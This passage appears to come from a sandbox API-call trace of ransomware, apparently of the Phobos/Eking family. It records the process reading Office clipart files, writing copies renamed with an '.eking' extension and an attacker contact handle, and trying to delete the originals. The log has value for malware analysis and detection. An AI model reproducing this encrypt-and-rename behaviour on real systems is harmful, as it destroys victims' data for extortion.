dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0265.042] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x532, lpOverlapped=0x0) returned 1 [0265.060] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x540, lpOverlapped=0x0) returned 1 [0265.062] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.062] CloseHandle (hObject=0x394) returned 1 [0265.062] CloseHandle (hObject=0x3b0) returned 1 [0265.063] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0 [0265.063] SetEvent (hEvent=0x2b8) returned 1 [0265.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.068] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1444) returned 1 [0265.068] CloseHandle (hObject=0x3b0) returned 1 [0265.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0265.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0265.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.069] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.069] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0265.070] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x5a4, lpOverlapped=0x0) returned 1 [0265.075] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x5b0, lpOverlapped=0x0) returned 1 [0265.076] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.076] CloseHandle (hObject=0x3b0) returned 1 [0265.078] CloseHandle (hObject=0x394) returned 1 [0265.078] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0 [0265.079] SetEvent (hEvent=0x2b8) returned 1 [0265.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.080] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7974) returned 1 [0265.080] CloseHandle (hObject=0x394) returned 1 [0265.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0265.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0265.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.082] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.082] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0265.083] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1f26, lpOverlapped=0x0) returned 1 [0265.098] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1f30, lpOverlapped=0x0) returned 1 [0265.100] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.100] CloseHandle (hObject=0x394) returned 1 [0265.100] CloseHandle (hObject=0x3b0) returned 1 [0265.100] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0 [0265.101] SetEvent (hEvent=0x2b8) returned 1 [0265.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.102] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2378) returned 1 [0265.103] CloseHandle (hObject=0x3b0) returned 1 [0265.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0265.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0265.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.104] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.104] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0265.108] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x94a, lpOverlapped=0x0) returned 1 [0265.110] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x950, lpOverlapped=0x0) returned 1 [0265.112] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.438] CloseHandle (hObject=0x3b0) returned 1 [0265.438] CloseHandle (hObject=0x394) returned 1 [0265.438] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0 [0265.438] SetEvent (hEvent=0x2b8) returned 1 [0265.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.440] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8366) returned 1 [0265.440] CloseHandle (hObject=0x394) returned 1 [0265.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0265.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0265.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.441] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.442] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0265.443] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x20ae, lpOverlapped=0x0) returned 1 [0265.445] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x20b0, lpOverlapped=0x0) returned 1 [0265.447] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.447] CloseHandle (hObject=0x394) returned 1 [0265.447] CloseHandle (hObject=0x3b0) returned 1 [0265.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0 [0265.448] SetEvent (hEvent=0x2b8) returned 1 [0265.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.452] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4976) returned 1 [0265.452] CloseHandle (hObject=0x3b0) returned 1 [0265.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0265.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0265.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.453] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.454] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0265.455] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1370, lpOverlapped=0x0) returned 1 [0265.457] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1380, lpOverlapped=0x0) returned 1 [0265.459] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.459] CloseHandle (hObject=0x3b0) returned 1 [0265.459] CloseHandle (hObject=0x394) returned 1 [0265.459] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0 [0265.460] SetEvent (hEvent=0x2b8) returned 1 [0265.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.461] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12788) returned 1 [0265.461] CloseHandle (hObject=0x394) returned 1 [0265.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0265.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0265.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.462] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.463] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0265.464] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x31f4, lpOverlapped=0x0) returned 1 [0265.467] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3200, lpOverlapped=0x0) returned 1 [0265.469] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0265.469] CloseHandle (hObject=0x394) returned 1 [0265.470] CloseHandle (hObject=0x3b0) returned 1 [0265.470] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0 [0265.470] SetEvent (hEvent=0x2b8) returned 1 [0265.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.473] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3104) returned 1 [0265.473] CloseHandle (hObject=0x3b0) returned 1 [0265.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0265.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0265.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.474] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.474] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0265.476] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xc20, lpOverlapped=0x0) returned 1 [0265.479] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xc30, lpOverlapped=0x0) returned 1 [0266.197] WriteFile (in: 